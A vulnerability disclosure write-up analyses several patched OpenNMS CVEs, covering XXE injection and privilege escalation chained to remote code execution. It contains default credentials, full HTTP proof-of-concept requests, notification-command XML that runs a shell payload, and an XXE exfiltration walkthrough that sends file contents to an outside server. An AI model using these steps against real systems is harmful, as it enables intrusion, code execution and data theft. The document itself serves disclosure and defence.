Privesc to RCE in “enterprise-grade” OpenNMS
An analysis of CVE-2023–0872, CVE-2023–40315 & more
Introduction
Earlier this year, I decided to do some vulnerability research on OpenNMS, described by the vendor as “the world’s first fully open source enterprise-grade network service monitoring platform”. I picked this target because a network monitoring platform is likely to have interesting functionality that may be abused to achieve code execution. I knew I might not get that lucky of course, because the open source nature meant that I was unlikely to be the first researcher to poke around the codebase. Then again, the term “enterprise-grade” was promising, since that often seems to stand for “riddled with vulnerabilities”. I was not wrong, for while I did not find the Holy Grail of unauthenticated remote code execution (RCE), I did discover several vulnerabilities in OpenNMS Horizon, including two privilege escalation vectors that could be leveraged by certain non-admin users to achieve RCE. Most of these issues have since been patched, resulting in the following CVE’s:
- CVE-2023-0871 — XXE injection via /rtc/post/
- CVE-2023–0872 — Privilege escalation via /rest/users
- CVE-2023–40315 — Privilege escalation via /rest/filesystem
- CVE-2023–40612 — XXE injection via /rest/filesystem
In the below sections, I will describe the vulnerabilities in detail.
Some notes about phrasing throughout this article
As part of my research, I targeted only OpenNMS Horizon. However, the vendor has confirmed that the four vulnerabilities mentioned above also affect OpenNMS Meridian. In this article, I use “OpenNMS” to refer primarily to OpenNMS Horizon. However, many if not most of these statements are likely accurate for OpenNMS Meridian as well.
The base path to the OpenNMS web app is /opennms
by default. In this article, this base path is not included in the specified endpoints. For instance, the /rtc/post
endpoint mentioned below is actually accessible via /opennms/rtc/post
on a typical OpenNMS instance.
CVE-2023–0871 — XXE injection via /rtc/post/
The rtc account
On a fresh OpenNMS install, the web server can be accessed using the default credentials admin:admin
. In addition to the admin account, OpenNMS ships with a built-in account called rtc
.
Both the admin
and rtc
accounts are configured with a dedicated security role, and come with a note stating they should not be deleted.
While the official documentation urges users to change the admin
password immediately after the first login, this advice is not repeated for the rtc
account. Instead, it states that the rtc
should not be deleted and that this account
… is used for the communication of the Real-Time Console on the start page to calculate the node and service availability.
It seems likely that the average user will refrain from making changes to this default and required service account, especially because the documentation does not recommend or even suggest this.
The default rtc
user password predictably matches the username. However, this account does not have proper dashboard privileges.
In fact, the ROLE_RTC
privilege only provides rtc
with access to a single endpoint, namely /rtc/post
, as defined in opennms-webapp/src/main/webapp/WEB-INF/applicationContext-spring-security.xml:
<intercept-url pattern="/rtc/post/**" access="hasAnyRole('ROLE_RTC')" />
XXE injection via /rtc/post — Analysis
The /rtc/post
endpoint is used by the rtc
account to send updates about “node and service availability", as mentioned in the documentation. It does this by sending XML data via HTTP POST requests. The below output is an example of such a request containing availability information for one node as it relates to the Network Interfaces
category. The format of these requests was obtained by intercepting HTTP traffic on the loopback interface with Wireshark.
POST /opennms/rtc/post/Network+Interfaces HTTP/1.1
Authorization: Basic cnRjOnJ0Yw==
Content-type: text/xml; charset="utf-8"
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.18
Host: localhost:8980
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 541
<?xml version="1.0" encoding="UTF-8"?>
<euiLevel xmlns="http://xmlns.opennms.org/xsd/rtceui">
<header>
<ver>1.9a</ver>
<created>2023-05-18T12:45:31.089+03:00</created>
<mstation></mstation>
</header>
<category>
<catlabel>Network Interfaces</catlabel>
<catvalue>100.0</catvalue>
<node>
<nodeid>1</nodeid>
<nodevalue>100.0</nodevalue>
<nodesvccount>1</nodesvccount>
<nodesvcdowncount>0</nodesvcdowncount>
</node>
</category>
</euiLevel>
This endpoint uses HTTP basic access authentication (just like the REST API, as discussed later). This means that interacting with /rtc/post
is possible on a default OpenNMS install by including the Authorization
header with the value Basic cnRjOnJ0Yw==
(cnRjOnJ0Yw==
is the base64 encoding of rtc:rtc
).
The relevant behavior of the /rtc/post
endpoint is defined in the doPost
method in opennms-webapp/src/main/java/org/opennms/web/category/RTCPostServlet.java. This method includes the following call to the JaxbUtils.unmarshal
method:
try (ServletInputStream inStream = request.getInputStream();
InputStreamReader isr = new InputStreamReader(inStream)) {
org.opennms.netmgt.xml.rtc.EuiLevel level = JaxbUtils.unmarshal(org.opennms.netmgt.xml.rtc.EuiLevel.class, isr);
The JaxbUtils.unmarshal
method is defined in core/xml/src/main/java/org/opennms/core/xml/JaxbUtils.java. There is a lot of method overloading for unmarshal
in this class, but the implementation called from RTCPostServlet
is the following, which takes as input a Class
object and an InputStream
object:
public static <T> T unmarshal(final Class<T> clazz, final InputStream stream) {
try (final Reader reader = new InputStreamReader(stream)) {
return unmarshal(clazz, reader, VALIDATE_IF_POSSIBLE);
} catch (final IOException e) {
throw EXCEPTION_TRANSLATOR.translate("reading stream", e);
}
}
This version of unmarshal
then calls the below implementation, which takes as input a Class
object, a Reader
object, and a boolean
value for validate
:
public static <T> T unmarshal(final Class<T> clazz, final Reader reader, final boolean validate) {
return unmarshal(clazz, new InputSource(reader), null, validate, false);
}
Next, unmarshal
is called again, but this time with five arguments: a Class
, and InputSource
, null
, and two booleans, the second of which is set to false
. This brings us to the below implementation of unmarshal
, where the fifth argument is assigned to the disableDOCTYPE
variable, which is then passed together with the Class
object in a call to getXMLFilterForClass
:
public static <T> T unmarshal(final Class<T> clazz, final InputSource inputSource, final JAXBContext jaxbContext, final boolean validate, final boolean disableDOCTYPE) {
final Unmarshaller um = getUnmarshallerFor(clazz, jaxbContext, validate);
LOG.trace("unmarshalling class {} from input source {} with unmarshaller {}", clazz.getSimpleName(), inputSource, um);
try {
final XMLFilter filter = getXMLFilterForClass(clazz, disableDOCTYPE);
The XMLReaderFactory
method is also defined in JaxbUtils.java
, and looks like this:
public static <T> XMLFilter getXMLFilterForClass(final Class<T> clazz, boolean disableDOCTYPE) throws SAXException {
final String namespace = getNamespaceForClass(clazz);
XMLFilter filter = namespace == null? new SimpleNamespaceFilter("", false) : new SimpleNamespaceFilter(namespace, true);
LOG.trace("namespace filter for class {}: {}", clazz, filter);
final XMLReader xmlReader = XMLReaderFactory.createXMLReader();
if (disableDOCTYPE) {
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
}
xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
filter.setParent(xmlReader);
return filter;
} LOG.trace("namespace filter for class {}: {}", clazz, filter);
final XMLReader xmlReader = XMLReaderFactory.createXMLReader();
if (disableDOCTYPE) {
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
}
xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
filter.setParent(xmlReader);
return filter;
}
This method defines the following behavior:
- If the
getXMLFilterForClass
method is called with thedisableDOCTYPE
boolean set totrue
, theXMLReader
object will be securely configured with the disabling of doctype declarations, external general entities, external parameter entities and external DTD loading. - If the
getXMLFilterForClass
method is called with thedisableDOCTYPE
boolean set tofalse
, theXMLReader
object will not be securely configured because only the loading of external DTDs is disabled in that case, while doctype declarations and external entities are still supported.
We just saw that when unmarshal
is called in RTCPostServlet
, the disableDOCTYPE
boolean is set to false
before the call to getXMLFilterForClass
, which means that in this scenario, only the loading of external DTDs is rendered impossible, while doctype declarations and external entities are still supported. In order words, the /rtc/post
endpoint is vulnerable to XML external entity (XXE) injection.
XXE injection via /rtc/post — Impact with only ROLE_RTC
When an attacker only knows the default rtc
account credentials, the impact of this XXE injection vector is limited by two factors:
- It is a blind XXE vulnerability because the OpenNMS web server does not return the response from the XXE payload.
- The loading of external DTDs is disabled.
While blind XXE vulnerabilities can typically still be used for data exfiltration by leveraging external DTDs, this technique cannot be applied here precisely because the loading of external DTDs is disabled.
That being said, even in this scenario, the XXE injection vector still represents a security vulnerability because it can be used for interacting with internal and external services via GET requests, which could potentially be used for additional attacks such as blind server-side request forgery (SSRF) attacks.
For a quick PoC, you can use the previous example POST request to /rtc/post
and change the XML version declaration to the following (screenshot because Medium does not like XXE injection payloads):
This will force OpenNMS to make a GET request to http://192.168.1.2:1337/pwn
. In order to test this, you can start a simple NetCat listener or HTTP server on a remote system, and then edit the payload to point to that IP instead. Upon sending the HTTP POST request to /rtc/post
, you should see the request come in on the remote system.
- Example netcat listener:
nc -nvlp 1337
- Example HTTP server with Python:
python3 -m http.server 1337
XXE injection via /rtc/post — Impact with dashboard access
If an attacker also has access to the credentials of an account that can access the main OpenNMS dashboard, which is any user with ROLE_USER
or ROLE_ADMIN
privileges, the /rtc/post
XXE injection vector can be leveraged to read the contents of files on the host. However, the impact of this attack has very serious limitations, because it works only for files that contain a single integer or float. This is because only the following XML parameters are available for injection, all of which can only be set to integer or float values:
- <catvalue>
- <node><nodeid>
- <node><nodevalue>
- <node><nodesvccount>
- <node><nodesvcdowncount>
Linux systems actually do come with several default files that contain only a single integer or float, and these numbers could provide some potentially useful information about the target. Files of this type include:
- /proc/sys/kernel/randomize_va_space: This indicates whether ASLR is enabled on the target system.
- /proc/sys/kernel/threads-max: This contains the maximum number of threads that can be created on the target system.
- /proc/sys/kernel/pid_max: This contains the maximum value that can be assigned to a process ID on the target system.
- /proc/sys/fs/file-max: This contains the maximum number of file handles that can be opened on the target system.
- /proc/sys/vm/swappiness: This contains the swappiness value of the target system.
- /proc/sys/net/ipv4/tcp_keepalive_time: This contains the TCP keepalive time of the target system.
It is possible to leak the contents of several of these files in a single request and display them on the OpenNMS start page, as well as the /rtc/category.jsp
endpoint. In order to test this, you can send an authenticated HTTP POST request to /rtc/post
with the below XML payload:
The contents can then be read via /rtc/category.jsp?category=Network+Interfaces
, as the below image shows:
CVE-2023–0872 — Privilege escalation via /rest/users
The /rest/users endpoint
OpenNMS includes a REST API. The documentation covers several API endpoints that are accessible via /rest/<endpoint>
, including one called users. The /rest/users
endpoint supports four different types of operations that can be specified via the HTTP method:
HTTP GET
— read user dataHTTP POST
— add user dataHTTP PUT
— modify user dataHTTP DELETE
— remove user data
Privilege escalation via /rest/users — Analysis
The logic for /rest/users
is defined in opennms-webapp-rest/src/main/java/org/opennms/web/rest/v1/UserRestService.java. This class includes a method called hasEditRights
that determines if a certain user has sufficient privileges to add, edit or remove user information via /rest/users
:
private static boolean hasEditRights(SecurityContext securityContext) {
if (securityContext.isUserInRole(Authentication.ROLE_ADMIN) || securityContext.isUserInRole(Authentication.ROLE_REST)) {
return true;
} else {
return false;
}
}
This shows that edit rights are provided for ROLE_ADMIN
users as well as ROLE_REST
users. These rights are unlimited, so any user with ROLE_REST
can do the following:
- Use
HTTP GET
requests to view user information, including the hashed passwords of any and all other configured users, even those withROLE_ADMIN
- Use
HTTP POST
requests to add new users with any possible security role, includingROLE_ADMIN
- Use
HTTP PUT
requests to edit any existing user. This includes addingROLE_ADMIN
or other privileges to the currentROLE_REST
user. - Use
HTTP DELETE
requests to delete any existing user.
This means that any user with ROLE_REST
can escalate their privileges to ROLE_ADMIN
(or any other role) via one of three ways:
- Obtaining the password hash of a user with
ROLE_ADMIN
and trying to crack it offline using a tool such as opennms_crack.py. This is the least interesting approach, but still worth mentioning. - Creating a new user with
ROLE_ADMIN
. - Adding
ROLE_ADMIN
to the security roles for their account or any other existing user they know the password for (eg thertc
account).
Privilege escalation via /rest/users — PoC
If you have an account with the credentials apiuser:apiuser
and that account has only ROLE_REST
, you can add ROLE_ADMIN
for this user via the following HTTP PUT request:
PUT /opennms/rest/users/apiuser/roles/ROLE_ADMIN HTTP/1.1
Authorization: Basic YXBpdXNlcjphcGl1c2Vy
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.18
Host: localhost:8980
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
CVE-2023–40315 — Privilege escalation via /rest/filesystem
The /rest/filesystem/
endpoint
OpenNMS does not store user information in the database. Instead, this data is stored in a configuration file available at ${OPENNMS_HOME}/etc/users.xml. Any user with ROLE_FILESYSTEM_EDITOR
, can view and edit this file via the filesystem editor.
- If a user only has
ROLE_FILESYSTEM_EDITOR
, they can do so via the REST endpoint:/rest/filesystem/contents?f=users.xml
. - If the user also has
ROLE_USER
, they can use the UI version of the file editor at/ui/index.html#/file-editor
as well.
Privilege escalation via /rest/filesystem — Analysis
The permissions of ROLE_FILESYSTEM_EDITOR
on the contents of users.xml
have no limits. As a result, any user with this role can escalate their privileges to ROLE_ADMIN
(or any other role) via one of three ways:
- Viewing the full contents of users.xml in order to obtain the password hash of a user with
ROLE_ADMIN
, and then attempting to crack this hash. Again, this is the least interesting approach, but it may work if weak passwords are being used. - Creating a new user with
ROLE_ADMIN
by adding it to the file. - Adding
ROLE_ADMIN
to the security roles for their account or any other existing user they know the password for (eg thertc
account).
Privilege escalation via /rest/filesystem — PoC
The simplest way to reproduce this issue, is to create a user with ROLE_FILESYSTEM_EDITOR
and ROLE_USER
privileges and then use the UI file editor at at /ui/index.html#/file-editor
to edit the users.xml
file in order to either:
- Add the
ROLE_ADMIN
role to the current user - Create a new admin user by copying an existing user with
ROLE_ADMIN
, editing the username, and changing the password hash with the hash of an account you know the password for.
In order for changes to users.xml
to go into effect, you should save the file, log out of OpenNMS, and then log back in.
If you only have ROLE_FILESYSTEM_EDITOR
, you can send the updated users.xml
file via a multipart/form-data HTTP POST request to /rest/filesystem/contents?f=users.xml
. For instance, for a user with the credentials file:file
that has only ROLE_FILESYSTEM_EDITOR
, the request would look something like this:
POST /opennms/rest/filesystem/contents?f=users.xml HTTP/1.1
Host: 192.168.91.196:8980
Authorization: Basic ZmlsZTpmaWxl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------385917928240027663673494596945
Content-Length: 4207
Origin: http://192.168.91.196:8980
Connection: close
-----------------------------385917928240027663673494596945
Content-Disposition: form-data; name="upload"; filename="users.xml"
Content-Type: text/xml
{users.xml contents}
-----------------------------385917928240027663673494596945--
Privilege Escalation to RCE via CVE-2023–0872 or CVE-2023–40315
The impact of CVE-2023–0872 and CVE-2023–40315 is exacerbated by the fact that OpenNMS has built-in functionality that can be abused by sufficiently privileged users to achieve remote code execution (RCE) on the host system as the opennms
user. This means that on OpenNMS instances that are vulnerable to CVE-2023–0872 and CVE-2023–40315, any user account with ROLE_FILESYSTEM_EDITOR
or ROLE_REST
can be leveraged to gain RCE. The path to RCE that I pieced together based on the documentation and this community post is a bit convoluted, but it takes advantage of the following functionality:
- OpenNMS can be configured to alert users when a certain event is registered. This can be done by creating a “notification”.
- Notifications in turn can be configured to trigger a certain action for a certain user or group of users. This requires pointing a notification to a specific “destination path”.
- A destination path specifies the user or user group that should receive the notification, as well as the “notification command” to execute.
- A notification command defines the operation to be performed. This can involve calling a specific OpenNMS class, but also running a shell command on the host.
- While it is possible to directly specify a shell command inside a notification command, this does not work well for a typical reverse shell due to how OpenNMS parses and executes such commands. Fortunately, you can simply create a file with an arbitrary shell payload and then define a notification command that runs
/usr/bin/bash
against your payload file.
Required privileges for RCE
In order to achieve RCE, a user requires the following roles:
ROLE_FILESYSTEM_EDITOR
and
ROLE_REST
orROLE_ADMIN
Surprisingly, ROLE_ADMIN
is neither sufficient nor required to achieve RCE, since this can also be done via an account with both ROLE_FILESYSTEM_EDITOR
and ROLE_REST
. The required steps to achieve RCE are described below.
Step 1: Check the supported file extensions
Users with ROLE_FILESYSTEM_EDITOR
can create arbitrary files in the ${OPENNMS_HOME}/etc directory. However, only certain file extensions are allowed. The supported extensions can be obtain via a simple HTTP GET request to /rest/filesystem/extensions
. On the versions I tested (OpenNMS Horizon 31.0.6, 31.0.7 and 31.0.8), the following extensions were supported:
0 "boot"
1 "bsh"
2 "cfg"
3 "dcb"
4 "drl"
5 "groovy"
6 "properties"
7 "xml"
For our purposes, bsh
is interesting because it can be used to create files with arbitrary shell payloads. This is not possible for all extensions though. For instance, when a user attempts to save an .xml
file, OpenNMS will pass the contents to an XML parser and will throw an error if the payload is not valid XML.
Step 2: Use the filesystem to write a payload to a file
You can use a request such as the following to create a file at ${OPENNMS_HOME}/etc/pwn.bsh with an arbitrary shell payload:
POST /opennms/rest/filesystem/contents?f=pwn.bsh HTTP/1.1
Host: 192.168.91.196:8980
Authorization: Basic ZmlsZTpmaWxl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------385917928240027663673494596945
Content-Length: 238
Origin: http://192.168.91.196:8980
Connection: close
-----------------------------385917928240027663673494596945
Content-Disposition: form-data; name="upload"; filename="pwn.bsh"
Content-Type: text/plain
MY REVERSE SHELL
-----------------------------385917928240027663673494596945--
Step 3: Create a notificationCommand to execute the payload
Edit ${OPENNMS_HOME}/etc/notificationCommands.xml to add a command
that executes our payload. This can be done via a similar HTTP POST request as the one we used for editing users.xml
. In this case, the below XML should be inserted into the file, before the closing </notification-commands>
tag:
<command binary="true">
<name>get_shell</name>
<execute>/usr/bin/bash</execute>
<comment>pop thy shell</comment>
<argument streamed="false">
<substitution>/usr/share/opennms/etc/pwn.bsh</substitution>
</argument>
</command>
Step 4: Create a destinationPath for the notificationCommand
Edit ${OPENNMS_HOME}/etc/destinationPaths.xml to add a path
pointing to the notification command you specified. This requires setting the command
parameter to the name
specified for the notification command. In the current example, we can insert the below XML into the file, before the closing </destinationPaths>
tag:
<path name="Get-Shell">
<target>
<name>Admin</name>
<command>get_shell</command>
</target>
</path>
Step 5: Create a notification for the destinationPath
Edit ${OPENNMS_HOME}/etc/notifications.xml to add a notification
pointing to the destination path you specified. This requires setting the destinationPath
parameter to the path name
specified for the destination path. In addition, we need to specify the event that will trigger the notification via the uei
parameter. This has to be an event that we can control. Fortunately, OpenNMS has a dedicated event for failed authentication attempts to the web app, which is something even an unauthenticated user can trigger. In our example, we can insert the below XML into the file, before the closing </notifications>
tag:
<notification name=Pwned" status="on">
<uei>uei.opennms.org/internal/authentication/failure</uei>
<rule>IPADDR != '1.1.1.1'</rule>
<destinationPath>Get-Shell</destinationPath>
<text-message>nothing to see here</text-message>
</notification>
Step 6: Reload the OpenNMS configuration
The previous steps required only ROLE_FILESYSTEM_EDITOR
privileges. However, in order for our configuration changes to be implemented, the OpenNMS configuration has to be reloaded. This can be done via the REST API, which is why exploitation also requires either ROLE_REST
or ROLE_ADMIN
privileges. In particular, it requires sending an authenticated HTTP POST request such as the one below to /rest/events
.
POST /opennms/rest/events HTTP/1.1
Host: 192.168.91.196:8980
Authorization: Basic {base64-encoded user creds}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 363
Origin: http://192.168.91.196:8980
Connection: close
<event >
<uei>uei.opennms.org/internal/reloadDaemonConfig</uei>
<source>perl_send_event</source>
<time>2023-05-12T06:43:50+00:00</time>
<host>51c12993e3b6</host>
<parms>
<parm>
<parmName><![CDATA[daemonName]]></parmName>
<value type="string" encoding="text"><![CDATA[Notifd]]></value>
</parm>
</parms>
</event>
Note: OpenNMS does not seem to verify the host
parameter, because I got it working with random hexadecimal values. It may even work with any random string.
Step 7: Trigger the event and enjoy your shell
All that’s left to do now, is to start a listener for your shell and then trigger the event you specified in your notification. In our example, that means visiting the OpenNMS login page and entering random credentials. If everything works, you should get a shell as the opennms
user. This user has limited privileges. However, on docker installations of OpenNMS these privileges will be enough to obtain the database credentials because those are stored in environment variables that can be viewed via the env
command.
Privilege escalation to RCE — Exploit
I have automated the above steps in a Metasploit module. If necessary, this module will also perform privilege escalation via CVE-2023–0872 or CVE-2023–40315. The PR for this module is available here.
The below demo shows the module achieving RCE via CVE-2023–0872
The below demo shows the module achieving RCE via CVE-2023–40315
CVE-2023–40612 — XXE injection via /rest/filesystem
XXE injection via /rest/filesystem — Analysis
The /rest/filesystem
endpoint is also vulnerable to XXE injection. The basic functionality for this endpoint is defined in opennms-webapp-rest/src/main/java/org/opennms/web/rest/v1/FilesystemRestService.java. This class defines an uploadFile
method that can be triggered via an HTTP POST request to /rest/filesystem/contents
. The first part of this method looks like this:
@POST
@Path("/contents")
@Produces(MediaType.TEXT_HTML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
public String uploadFile(@QueryParam("f") String fileName,
@Multipart("upload") Attachment attachment,
@Context SecurityContext securityContext) throws IOException {
if (!securityContext.isUserInRole(Authentication.ROLE_FILESYSTEM_EDITOR)) {
throw new ForbiddenException("FILESYSTEM EDITOR role is required for uploading file contents.");
}
final java.nio.file.Path targetPath = ensureFileIsAllowed(fileName);
// Write the contents a temporary file
final File tempFile = File.createTempFile("upload-", targetPath.getFileName().toString());
try {
tempFile.deleteOnExit();
final InputStream in = attachment.getObject(InputStream.class);
Files.copy(in, tempFile.toPath(), StandardCopyOption.REPLACE_EXISTING);
// Validate it
maybeValidateXml(tempFile);
The thing to note here is that the maybeValidateXml
method is called on tempFile
, which is a temporary file containing the contents of the uploaded file. The maybeValidateXml
method is defined in the same class and looks like this:
private void maybeValidateXml(File file) {
if (!file.getName().endsWith(".xml")) {
return;
}
final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(false);
factory.setNamespaceAware(true);
final CapturingErrorHandler errorHandler = new CapturingErrorHandler();
try {
final DocumentBuilder builder = factory.newDocumentBuilder();
builder.setErrorHandler(errorHandler);
builder.parse(file);
} catch (ParserConfigurationException | SAXException | IOException e) {
throw new BadRequestException(Response.status(Response.Status.BAD_REQUEST)
.entity("Validation failed: " + e.getMessage()).build());
}
}
This method leverages the DocumentBuilderFactory
library to call the DocumentBuilder.parse
method on the uploaded file. However, DocumentBuilderFactory
is vulnerable to XXE by default when using parse()
. This can be avoid by explicitly configuring security features, but that does not happen here. For information on how to securely configure DocumentBuilderFactory
, you can check out this excellent post.
While this is a blind XXE injection vector, it can still be used to exfiltrate data from the host system by leveraging external DTDs, as shown in the PoC sections below. In addition, it can be used just like the /rtc/post/
XXE vector in order to force the server to make arbitrary HTTP requests to arbitrary hosts, which could potentially be used for additional attacks such as blind SSRF.
XXE injection via /rest/filesystem — PoC
For a quick PoC, you can use the UI file editor to add the following payload as the first line of basically any XML file that is accessible via the filesystem editor:
This will force OpenNMS to make a GET request to http://192.168.1.2:1337/pwn
the moment you hit save
. In order to test this, you can start a simple NetCat listener or HTTP server on a remote system, and then edit the payload to point to that system. Upon saving the file with your XML payload, you should see the request come in on the remote system.
As mentioned, CVE-2023–40612 can also be used to read files on the host. In order to read the contents of the /etc/hostname
file, you can take the following steps:
- Start a simple HTTP server on a remote host, eg
python3 -m http.server 8088
- Create a DTD file called
hostname_exfiltrate.dtd
on the remote host in the root directory of your web server (for the python web server that is the directory you started the server from). Add the following contents:
Here, http://192.168.1.2:8088
should be replaced with the IP address and port of your remote web server.
- Use the UI version of the file editor to add the following XXE payload to the first line of any XML file that is accessible via the file editor:
Once again, make sure to edit the IP address and port to match your remote web server.
- Hit
save
, and check the server log, which should show two incoming requests: one GET request to/hostname_exfiltrate.dtd
and a second GET request to/?x=[contents of /etc/hostname]
. Example output:
# python3 -m http.server 8088
Serving HTTP on 0.0.0.0 port 8088 (http://0.0.0.0:8088/) ...
192.168.1.2 - - [20/Apr/2023 14:43:49] "GET /hostname_exfiltrate.dtd HTTP/1.1" 200 -
192.168.1.2 - - [20/Apr/2023 14:43:49] "GET /?x=wynter-virtual-machine HTTP/1.1" 200
Note: This approach won’t work for files containing newlines, quotes or certain special characters. It may be possible to read at least files with newlines by using an XXE FTP server such as this one, but I have not tried this for this specific vulnerability.
Mitigation
If you are running OpenNMS, make sure to patch against these vulnerabilities by upgrading to Meridian 2023.1.6, 2022.1.19, 2021.1.30, 2020.1.38 or Horizon 32.0.2 or newer.
Bonus: additional issues caused by default rtc credentials
During my analysis of the /rtc/post
endpoint, I discovered two additional issues that were reported to the vendor. Both of these could have been fixed by ensuring that a random password is generated for the rtc
account during installation. However, the vendor has decided to stick with the default creds because, I don’t know, YOLO?
Information disclosure via HTTP Error responses in /rtc/post/
If an authenticated POST request to /rtc/post
contains invalid data that triggers an 500 Server Error
response, OpenNMS adds the following sensitive information in the response body:
- The OpenNMS version number
- The Java version number
- The host OS name and version number
- Information about the Java VM
For a quick PoC, you can submit an invalid, authenticated POST request to /rtc/post/*
, such as the following:
POST /opennms/rtc/post/Network+Interfaces HTTP/1.1
Authorization: Basic cnRjOnJ0Yw==
Content-type: text/xml; charset="utf-8"
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.18
Host: localhost:8980
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 5
HELLO
The server will respond with a 500 Server Error
and the response body will contain the aforementioned sensitive information.
Flooding the start page with garbage data via /rtc/post/
The /rtc/post/
endpoint can be used to flood the OpenNMS start page and the /rtc/category.jsp
endpoint with tons of garbage node and service availability data. While I was unable to crash OpenNMS with this attack, it does resemble a limited form of Denial-of-Service (DoS) attack because it can be used to indefinitely render the node and service availability data on the start page meaningless, thereby making it impossible to use this data to identify legitimate issues.
The presence of default rtc
credentials alone is sufficient to perform this attack, but it certainly helps that when OpenNMS receives data via /rtc/post
, it does not verify if the nodeid
values in the data correspond with actual nodes in the database.
I wrote a python script in an attempt to demonstrate the impact of this attack to the vendor, but they were not sufficiently impressed to patch the issue. I won’t be sharing this script because I do not see a legitimate use case for it. However, you can enjoy the below video PoC showing what it would be like to try and use OpenNMS while someone is pointing this script at your app.